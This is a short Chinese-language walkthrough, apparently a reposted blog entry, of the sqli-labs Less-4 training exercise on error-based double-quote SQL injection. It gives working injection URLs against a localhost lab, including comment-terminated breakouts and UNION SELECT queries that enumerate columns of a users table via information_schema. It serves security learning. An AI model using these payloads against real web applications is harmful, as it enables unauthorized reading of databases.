sqli-labs less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

Posted superkrissv

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)相关的知识,希望对你有一定的参考价值。

提交id参数

技术分享图片

加‘

http://localhost/sqli/Less-4/?id=1‘

技术分享图片

页面正常,添加"

http://localhost/sqli/Less-4/?id=1"

技术分享图片

对应的sql语句应为

select ... from ... where xx=("1") limit 0,1

构造

select ... from ... where xx=("1")#") limit 0,1

对应的GET请求

http://localhost/sqli/Less-4/?id=1")%23

技术分享图片

http://localhost/sqli/Less-4/?id=a") union select 1,2,3%23

技术分享图片

接下来又是走流程了

http://localhost/sqli/Less-4/?id=a") union select 1,2,column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

技术分享图片

 

以上是关于sqli-labs less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入SQLi-LABS Page-1(Basic Challenges Less1-Less22)

SQL注入SQLi-LABS Page-1(Basic Challenges Less1-Less22)

sqli-labsLess1~Less4

sqli-labs less33 GET- Bypass AddSlashes (GET型绕过addslashes() 函数的宽字节注入)

sqli-labs less2 GET - Error based - Intiger based (基于错误的GET整型注入)

sqli-labs less7 GET - Dump into outfile - String (导出文件GET字符型注入)